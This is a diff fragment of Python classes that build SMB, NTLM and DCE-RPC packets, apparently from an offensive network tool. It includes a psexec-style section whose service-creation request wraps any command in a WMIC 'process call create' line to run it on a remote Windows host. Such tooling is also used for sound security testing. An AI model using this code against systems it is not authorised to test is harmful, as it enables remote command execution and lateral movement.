+        CompleteSMBPacketLen = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["AndXOffset"])+str(self.fields["MaxBuff"])+str(self.fields["MaxMPX"])+str(self.fields["VCNumber"])+str(self.fields["SessionKey"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])+str(self.fields["Capabilities"])+str(self.fields["Bcc"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
+
+
+        SecBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
+
+
+        data3 = str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
+
+        data4 = str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
+
+        data5 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
+
+        data6 = str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
+
+        data10 = str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
+       
+        data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
+
+
+        ## Packet len
+        self.fields["AndXOffset"] = struct.pack("<h", len(CompleteSMBPacketLen)+32)
+        ##Buff Len
+        self.fields["SecBlobLen"] = struct.pack("<h", len(SecBlobLen))
+        ##Complete Buff Len
+        self.fields["Bcc"] = struct.pack("<h", len(CompleteSMBPacketLen)-27)#session setup struct is 27.
+        ##App Header
+        self.fields["ApplicationHeaderLen"] = struct.pack("<B", len(SecBlobLen)-2)
+        ##Asn Field 1
+        self.fields["AsnSecMechLen"] = struct.pack("<B", len(str(self.fields["AsnSecMechStr"])))
+        ##Asn Field 1
+        self.fields["ChoosedTagStrLen"] = struct.pack("<B", len(data3))
+        ##SpNegoTokenLen
+        self.fields["NegTokenInitSeqHeadLen"] = struct.pack("<B", len(data4))
+        ##NegoTokenInit
+        self.fields["NegTokenInitSeqHeadLen1"] = struct.pack("<B", len(data10)) 
+        ## Tag0 Len
+        self.fields["NegTokenInitSeqNLMPLen"] = struct.pack("<B", len(data11))
+        ## Tag0 Str Len
+        self.fields["NegTokenInitSeqNLMPTag1Len"] = struct.pack("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
+        ## Tag2 Len
+        self.fields["NegTokenInitSeqNLMPTag2Len"] = struct.pack("<B", len(data6))
+        ## Tag3 Len
+        self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = struct.pack("<B", len(str(self.fields["Data"])))
+
+
+class SMBSessionSetupAndxAUTH(Packet):
+    fields = OrderedDict([
+        ("wordcount", "\x0c"),
+        ("AndXCommand", "\xff"),
+        ("reserved","\x00" ),
+        ("andxoffset", "\xfa\x00"),
+        ("maxbuff","\xff\xff"),
+        ("maxmpx", "\x32\x00"),
+        ("vcnum","\x01\x00"),
+        ("sessionkey", "\x00\x00\x00\x00"),
+        ("securitybloblength","\x59\x00"),
+        ("reserved2","\x00\x00\x00\x00"),
+        ("capabilities", "\xfc\xe3\x01\x80"),
+        ("bcc1","\xbf\x00"), 
+        ("ApplicationHeaderTag","\xa1"),
+        ("ApplicationHeaderTagLenOfLen","\x81"),
+        ("ApplicationHeaderLen","\xd1"),
+        ("AsnSecMechType","\x30"),
+        ("AsnSecMechLenOfLen","\x81"),
+        ("AsnSecMechLen","\xce"),
+        ("ChoosedTag","\xa2"),
+        ("ChoosedTagLenOfLen","\x81"),
+        ("ChoosedTagLen","\xcb"),
+        ("ChoosedTag1","\x04"),
+        ("ChoosedTag1StrLenOfLen","\x81"),
+        ("ChoosedTag1StrLen","\xc8"),
+        #### NTLM Packet ####
+        ("Data",  ""),
+        #### End Of SMB ####
+        ("NLMPAuthMsgNull","\x00"),
+        ("NativeOs","Unix"),
+        ("NativeOsTerminator","\x00\x00"),
+        ("ExtraNull",""),
+        ("NativeLan","Samba"),
+        ("NativeLanTerminator","\x00\x00"),
+        ("AndxPadding",""),
+        ])
+
+
+    def calculate(self): 
+        self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
+        self.fields["NativeLan"] = self.fields["NativeLan"].encode('utf-16le')
+
+        SecurityBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])
+
+        NTLMData = str(self.fields["Data"])
+	###### ASN Stuff
+        if len(NTLMData) > 255:
+	   self.fields["ApplicationHeaderTagLenOfLen"] = "\x82"
+	   self.fields["ApplicationHeaderLen"] = struct.pack(">H", len(SecurityBlobLen)-0)
+        else:
+           self.fields["ApplicationHeaderTagLenOfLen"] = "\x81"
+	   self.fields["ApplicationHeaderLen"] = struct.pack(">B", len(SecurityBlobLen)-3)
+
+        if len(NTLMData)-8 > 255:
+           self.fields["AsnSecMechLenOfLen"] = "\x82"
+	   self.fields["AsnSecMechLen"] = struct.pack(">H", len(SecurityBlobLen)-4)
+        else:
+           self.fields["AsnSecMechLenOfLen"] = "\x81"
+	   self.fields["AsnSecMechLen"] = struct.pack(">B", len(SecurityBlobLen)-6)
+
+        if len(NTLMData)-12 > 255:
+           self.fields["ChoosedTagLenOfLen"] = "\x82"
+           self.fields["ChoosedTagLen"] = struct.pack(">H", len(SecurityBlobLen)-8) 
+        else:
+           self.fields["ChoosedTagLenOfLen"] = "\x81"
+           self.fields["ChoosedTagLen"] = struct.pack(">B", len(SecurityBlobLen)-9)
+
+        if len(NTLMData)-16 > 255:
+           self.fields["ChoosedTag1StrLenOfLen"] = "\x82"
+           self.fields["ChoosedTag1StrLen"] = struct.pack(">H", len(SecurityBlobLen)-12)
+        else:
+           self.fields["ChoosedTag1StrLenOfLen"] = "\x81"
+           self.fields["ChoosedTag1StrLen"] = struct.pack(">B", len(SecurityBlobLen)-12)
+
+        CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])+str(self.fields["NLMPAuthMsgNull"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["ExtraNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
+
+        SecurityBlobLenUpdated = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])
+
+        ## Packet len
+        self.fields["andxoffset"] = struct.pack("<h", len(CompletePacketLen)+32) #SMB1 Header is always 32
+        ##Buff Len
+        self.fields["securitybloblength"] = struct.pack("<h", len(SecurityBlobLenUpdated))
+        ##Complete Buff Len
+        self.fields["bcc1"] = struct.pack("<h", len(CompletePacketLen)-27) #SessionSetup struct is 27.
+
+class SMBTreeConnectData(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x04"),
+        ("AndXCommand", "\xff"),
+        ("Reserved","\x00" ),
+        ("Andxoffset", "\x5a\x00"), 
+        ("Flags","\x08\x00"),
+        ("PasswdLen", "\x01\x00"),
+        ("Bcc","\x2f\x00"),
+        ("Passwd", "\x00"),
+        ("Path","\\\\IPC$"),
+        ("PathTerminator","\x00\x00"),
+        ("Service","?????"),
+        ("Terminator", "\x00"),
+
+    ])
+    def calculate(self): 
+        ##Convert Path to Unicode first before any Len calc.
+        self.fields["Path"] = self.fields["Path"].encode('utf-16le')
+
+        ##Passwd Len
+        self.fields["PasswdLen"] = struct.pack("<i", len(str(self.fields["Passwd"])))[:2]
+
+        ##Packet len
+        CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
+
+        self.fields["Andxoffset"] = struct.pack("<i", len(CompletePacket)+32)[:2]
+
+        ##Bcc Buff Len
+        BccComplete    = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
+        self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
+
+class SMBNTCreateData(Packet):
+    fields = OrderedDict([
+        ("Wordcount",     "\x18"),
+        ("AndXCommand",   "\xff"),
+        ("Reserved",      "\x00" ),
+        ("Andxoffset",    "\x00\x00"),
+        ("Reserved2",     "\x00"),
+        ("FileNameLen",   "\x07\x00"),
+        ("CreateFlags",   "\x16\x00\x00\x00"),
+        ("RootFID",       "\x00\x00\x00\x00"),
+        ("AccessMask",    "\x00\x00\x00\x02"),
+        ("AllocSize",     "\x00\x00\x00\x00\x00\x00\x00\x00"),
+        ("FileAttrib",    "\x00\x00\x00\x00"),
+        ("ShareAccess",   "\x07\x00\x00\x00"),
+        ("Disposition",   "\x01\x00\x00\x00"),   
+        ("CreateOptions", "\x00\x00\x00\x00"),
+        ("Impersonation", "\x02\x00\x00\x00"),
+        ("SecurityFlags", "\x00"),
+        ("Bcc",           "\x08\x00"),
+        ("FileName",      ""),
+        ("FileNameNull",  "\x00"),
+    ])
+
+    def calculate(self):
+        Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
+        self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
+        self.fields["Bcc"] = struct.pack("<h",len(Data1))
+
+class SMBReadData(Packet):
+    fields = OrderedDict([
+        ("Wordcount",     "\x0a"),
+        ("AndXCommand",   "\xff"),
+        ("Reserved",      "\x00" ),
+        ("Andxoffset",    "\x00\x00"),
+        ("FID",           "\x00\x00"),
+        ("Offset",        "\x19\x03\x00\x00"), 
+        ("MaxCountLow",   "\xed\x01"),
+        ("MinCount",      "\xed\x01"),
+        ("Hidden",        "\xff\xff\xff\xff"),
+        ("Remaining",     "\x00\x00"),  
+        ("Bcc",           "\x00\x00"),
+        ("Data", ""),
+    ])
+
+    def calculate(self):
+
+        self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
+
+class SMBWriteData(Packet):
+    fields = OrderedDict([
+        ("Wordcount",     "\x0e"),
+        ("AndXCommand",   "\xff"),
+        ("Reserved",      "\x00" ),
+        ("Andxoffset",    "\x00\x00"),
+        ("FID",           "\x06\x40"),
+        ("Offset",        "\xea\x03\x00\x00"),
+        ("Reserved2",     "\xff\xff\xff\xff"),
+        ("WriteMode",     "\x08\x00"),
+        ("Remaining",     "\xdc\x02"),
+        ("DataLenHi",     "\x00\x00"),
+        ("DataLenLow",    "\xdc\x02"),
+        ("DataOffset",    "\x3f\x00"),
+        ("HiOffset",      "\x00\x00\x00\x00"),   
+        ("Bcc",           "\xdc\x02"),
+        ("Data", ""),
+    ])
+
+    def calculate(self):
+        self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"])))
+        self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
+        self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
+
+class SMBTransDCERPC(Packet):
+    fields = OrderedDict([
+        ("Wordcount",             "\x10"),
+        ("TotalParamCount",       "\x00\x00"),
+        ("TotalDataCount",        "\x00\x00" ),
+        ("MaxParamCount",         "\x00\x00"),
+        ("MaxDataCount",          "\x00\x04"),
+        ("MaxSetupCount",         "\x00"),
+        ("Reserved",              "\x00\x00"),
+        ("Flags",                 "\x00"),
+        ("Timeout",               "\x00\x00\x00\x00"),
+        ("Reserved1",             "\x00\x00"),
+        ("ParamCount",            "\x00\x00"),
+        ("ParamOffset",           "\x00\x00"),
+        ("DataCount",             "\x00\x00"),
+        ("DataOffset",            "\x00\x00"),
+        ("SetupCount",            "\x02"),
+        ("Reserved2",             "\x00"),
+        ("OpNum",                 "\x26\x00"),
+        ("FID",                   "\x00\x00"),
+        ("Bcc",                   "\x00\x00"),
+        ("Terminator",            "\x00"),
+        ("PipeName",              "\\PIPE\\"),
+        ("PipeTerminator",        "\x00\x00"),
+        ("Data", ""),
+
+    ])
+    def calculate(self):
+        #Padding
+        if len(str(self.fields["Data"]))%2==0:
+           self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
+        else:
+           self.fields["PipeTerminator"] = "\x00\x00\x00"
+        ##Convert Path to Unicode first before any Len calc.
+        self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
+
+        ##Data Len
+        self.fields["TotalDataCount"] = struct.pack("<h", len(str(self.fields["Data"])))
+        self.fields["DataCount"] = struct.pack("<h", len(str(self.fields["Data"])))
+
+        ##Packet len
+        FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["OpNum"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
+
+        self.fields["ParamOffset"] = struct.pack("<h", len(FindRAPOffset)+32)
+        self.fields["DataOffset"] = struct.pack("<h", len(FindRAPOffset)+32)
+        ##Bcc Buff Len
+        BccComplete    = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
+        self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
+
+
+class SMBDCEData(Packet):
+    fields = OrderedDict([
+        ("Version",          "\x05"),
+        ("VersionLow",       "\x00"),
+        ("PacketType",       "\x0b"),
+        ("PacketFlag",       "\x03"),
+        ("DataRepresent",    "\x10\x00\x00\x00"),
+        ("FragLen",          "\x2c\x02"),
+        ("AuthLen",          "\x00\x00"),
+        ("CallID",           "\x00\x00\x00\x00"),
+        ("MaxTransFrag",     "\xd0\x16"),
+        ("MaxRecvFrag",      "\xd0\x16"),
+        ("GroupAssoc",       "\x00\x00\x00\x00"),
+        ("CTXNumber",        "\x01"),
+        ("CTXPadding",       "\x00\x00\x00"),
+        ("CTX0ContextID",    "\x00\x00"),
+        ("CTX0ItemNumber",   "\x01\x00"),
+        ("CTX0UID",          "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
+        ("CTX0UIDVersion",   "\x02\x00"),
+        ("CTX0UIDVersionlo", "\x00\x00"),
+        ("CTX0UIDSyntax",    "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
+        ("CTX0UIDSyntaxVer", "\x02\x00\x00\x00"),
+    ])
+
+    def calculate(self):
+
+        Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
+
+
+        self.fields["FragLen"] = struct.pack("<h",len(Data1))
+
+class SMBDCEPacketData(Packet):
+    fields = OrderedDict([
+        ("Version",       "\x05"),
+        ("VersionLow",    "\x00"),
+        ("PacketType",    "\x00"),
+        ("PacketFlag",    "\x03"),
+        ("DataRepresent", "\x10\x00\x00\x00"),
+        ("FragLen",       "\x00\x00"),
+        ("AuthLen",       "\x00\x00"),
+        ("CallID",        "\x00\x00\x00\x00"),
+        ("AllocHint",     "\x00\x00\x00\x00"),
+        ("ContextID",     "\x00\x00"),
+        ("Opnum",         "\x0f\x00"),
+        ("Data",          ""),
+
+    ])
+
+    def calculate(self):
+
+        Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
+
+        self.fields["FragLen"] = struct.pack("<h",len(Data1))
+        self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
+
+###Psexec
+class SMBDCESVCCTLOpenManagerW(Packet):
+    fields = OrderedDict([
+        ("MachineNameRefID",     "\xb5\x97\xb9\xbc"),
+        ("MaxCount",             "\x0f\x00\x00\x00"),
+        ("Offset",               "\x00\x00\x00\x00"),
+        ("ActualCount",          "\x0f\x00\x00\x00"),
+        ("MachineName",          ""),
+        ("MachineNameNull",      "\x00\x00"),
+        ("DbPointer",            "\x00\x00\x00\x00"),
+        ("AccessMask",           "\x3f\x00\x0f\x00"),
+    ])
+
+    def calculate(self):
+        #Padding
+        if len(str(self.fields["MachineName"]))%2==0:
+           self.fields["MachineNameNull"] = "\x00\x00\x00\x00"
+        else:
+           self.fields["MachineNameNull"] = "\x00\x00"
+        ## Convert to UTF-16LE
+        self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
+        self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
+        self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
+
+class SMBDCESVCCTLCreateService(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+        ("MaxCount",             "\x0c\x00\x00\x00"),
+        ("Offset",               "\x00\x00\x00\x00"),
+        ("ActualCount",          "\x0c\x00\x00\x00"),
+        ("ServiceName",          ""),
+        ("MachineNameNull",      "\x00\x00"),
+        ("ReferentID",           "\x00\x00\x02\x00"),
+        ("MaxCountRefID",        "\x11\x00\x00\x00"),
+        ("OffsetID",             "\x00\x00\x00\x00"),
+        ("ActualCountRefID",     "\x11\x00\x00\x00"),
+        ("DisplayNameID",        ""),
+        ("DisplayNameIDNull",    "\x00\x00\x00\x00"),
+        ("AccessMask",           "\xff\x01\x0f\x00"),
+        ("ServerType",           "\x10\x00\x00\x00"),
+        ("ServiceStartType",     "\x03\x00\x00\x00"),
+        ("ServiceErrorCtl",      "\x00\x00\x00\x00"),
+        ("BinPathMaxCount",      "\xb6\x00\x00\x00"),
+        ("BinPathOffset",        "\x00\x00\x00\x00"),
+        ("BinPathActualCount",   "\xb6\x00\x00\x00"),
+        ("BinCMD",               ""),
+        ("BinCMDTerminator",     "\x00\x00"),
+        ("LoadOrderGroup",       "\x00\x00\x00\x00"),
+        ("TagID",                "\x00\x00\x00\x00"),
+        ("Dependencies",         "\x00\x00\x00\x00"),
+        ("DependenciesLen",      "\x00\x00\x00\x00"),
+        ("ServiceStartName",     "\x00\x00\x00\x00"),
+        ("Password",             "\x00\x00\x00\x00"),
+        ("PasswordLen",          "\x00\x00\x00\x00"), 
+        ("Padding",              "\x00\x00"),
+
+    ])
+
+    def calculate(self):
+
+        WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
+
+        ##Run the actual command via WMIC, no need to write/execute from a file.
+        self.fields["BinCMD"] = "WMIC process call create 'cmd /c ("+self.fields["BinCMD"]+") >"+WinTmpPath+"&exit'"
+
+        BinDataLen = str(self.fields["BinCMD"])
+
+        ## Calculate first
+        self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
+        self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
+        self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
+        self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
+        self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
+        self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
+        ## Then convert to UTF-16LE
+        self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
+        self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
+        self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
+
+
+class SMBDCESVCCTLOpenService(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+        ("MaxCount",             "\x00\x00\x00\x00"),
+        ("Offset",               "\x00\x00\x00\x00"),
+        ("ActualCount",          "\x00\x00\x00\x00"),
+        ("ServiceName",          ""),
+        ("ServiceNameNull",      "\x00\x00"),
+        ("AccessMask",           "\xff\x01\x0f\x00"),
+    ])
+
+    def calculate(self):
+        #Padding
+        if len(str(self.fields["ServiceName"]))%2==0:
+           self.fields["ServiceNameNull"] = "\x00\x00\x00\x00"
+        else:
+           self.fields["ServiceNameNull"] = "\x00\x00"
+        ## Calculate first
+        self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
+        self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
+        ## Then convert to UTF-16LE
+        self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
+
+class SMBDCESVCCTLStartService(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+        ("MaxCount",             "\x00\x00\x00\x00\x00\x00\x00\x00"),
+    ])
+
+class SMBDCESVCCTLControlService(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+        ("ControlOperation",     "\x01\x00\x00\x00"),
+    ])
+
+class SMBDCESVCCTLDeleteService(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+    ])
+
+class SMBDCESVCCTLCloseService(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+    ])
+
+class SMBDCESVCCTLQueryService(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+    ])
+
+class OpenAndX(Packet):
+    fields = OrderedDict([
+        ("Wordcount",             "\x0f"),
+        ("AndXCommand",           "\xff"),
+        ("Reserved",              "\x00" ),
+        ("Andxoffset",            "\x00\x00"),
+        ("Flags",                 "\x07\x00"),
+        ("DesiredAccess",         "\xc2\x00"),
+        ("SearchAttrib",          "\x16\x00"),
+        ("FileAttrib",            "\x20\x00"),
+        ("Created",               "\x40\x9d\xc1\x57"),
+        ("OpenFunc",              "\x12\x00"),
+        ("allocsize",             "\x00\x00\x00\x00"),
+        ("Timeout",               "\x00\x00\x00\x00"),
+        ("Reserved2",             "\x00\x00\x00\x00"),
+        ("Bcc",                   "\x0b\x00"),
+        ("Terminator",            ""),
+        ("File",                  ""),
+        ("FileNull",              "\x00"),
+
+    ])
+    def calculate(self):
+        self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Terminator"])+str(self.fields["File"])+str(self.fields["FileNull"])))
+
+class ReadRequest(Packet):
+    fields = OrderedDict([
+        ("Wordcount",             "\x05"),
+        ("FID",                   "\x02\x40"),
+        ("Count",                 "\xf0\xff"),
+        ("Offset",                "\x00\x00\x00\x00"),
+        ("RemainingBytes",        "\xf0\xff"),
+        ("Bcc",                   "\x00\x00"),
+
+    ])
+
+class ReadRequestAndX(Packet):
+    fields = OrderedDict([
+        ("Wordcount",             "\x0C"),
+        ("AndXCommand",           "\xff"),
+        ("Reserved",              "\x00"),
